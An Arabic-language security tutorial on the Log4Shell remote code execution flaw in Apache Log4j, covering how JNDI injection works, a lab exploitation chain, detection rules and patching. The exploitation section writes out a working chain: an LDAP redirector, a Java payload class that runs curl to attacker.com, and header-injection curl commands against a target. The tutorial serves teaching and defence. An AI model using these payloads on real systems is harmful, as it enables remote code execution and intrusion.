⚠️ تنبيه: هذا المقال لأغراض تعليمية بحتة. اختبر فقط على أنظمة مرخصة.
نظرة عامة
نوع الثغرة: Remote Code Execution (RCE) عبر JNDI Injection التأثير: Critical (CVSS 10.0) الأنظمة المتأثرة: Apache Log4j 2.0-beta9 to 2.14.1
كيف تعمل الثغرة؟
فهم JNDI
JNDI (Java Naming and Directory Interface) هي واجهة Java للتواصل مع خدمات الدليل مثل LDAP.
المشكلة: Log4j كان يفسّر الـ input ويستدعي موارد خارجية:
User-Agent: ${jndi:ldap://attacker.com/exploit}
عند تسجيل هذه القيمة، تقوم Log4j بـ:
- رؤية
${jndi:...} - الاتصال بـ LDAP server الخاص بالمهاجم
- تنزيل وتشغيل Java class ضار!
الاستغلال (Lab Environment)
إعداد بيئة الاختبار
# تثبيت بيئة ضعيفة للتدريب
docker pull ghcr.io/christophetd/log4shell-vulnerable-app
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
إعداد LDAP Server للاختبار
# استخدام marshalsec
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
# تشغيل LDAP redirector
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer "http://attacker-ip:8888/#Exploit"
إنشاء Java Payload
// Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("curl attacker.com/callback");
} catch (Exception e) {
e.printStackTrace();
}
}
}
# تجميع وتقديم الـ Payload
javac Exploit.java
python3 -m http.server 8888
إرسال الـ Payload
# اختبار عبر X-Api-Version header
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com:1389/exploit}' \
http://target:8080/
# أو عبر User-Agent
curl -A '${jndi:ldap://attacker.com:1389/exploit}' \
http://target:8080/
الكشف والرصد (Detection)
البحث في الـ Logs
# البحث عن محاولات الاستغلال
grep -E '\$\{jndi:(ldap|rmi|dns|corba)://' /var/log/app/*.log
# Regex أكثر شمولاً
grep -iE '\$\{[^\}]*j[^\}]*n[^\}]*d[^\}]*i[^\}]*:' /var/log/*.log
Wazuh / SIEM Rule
<rule id="100001" level="15">
<match>jndi:</match>
<description>Possible Log4Shell exploitation attempt</description>
<group>log4shell,exploit</group>
</rule>
الإصلاح والتخفيف (Mitigation)
# الحل الفوري — تعطيل JNDI Lookup
java -Dlog4j2.formatMsgNoLookups=true -jar application.jar
# الحل الدائم — تحديث Log4j
# في Maven:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version> <!-- أو أحدث -->
</dependency>
الدروس المستفادة
- لا تثق أبداً في المدخلات الخارجية — Log processing لا يعني أمان
- JNDI خطير في البيئات التي تقبل input مستخدم
- Asset inventory ضروري لمعرفة أين تستخدم Log4j
- Virtual Patching (WAF rules) مهم للاستجابة السريعة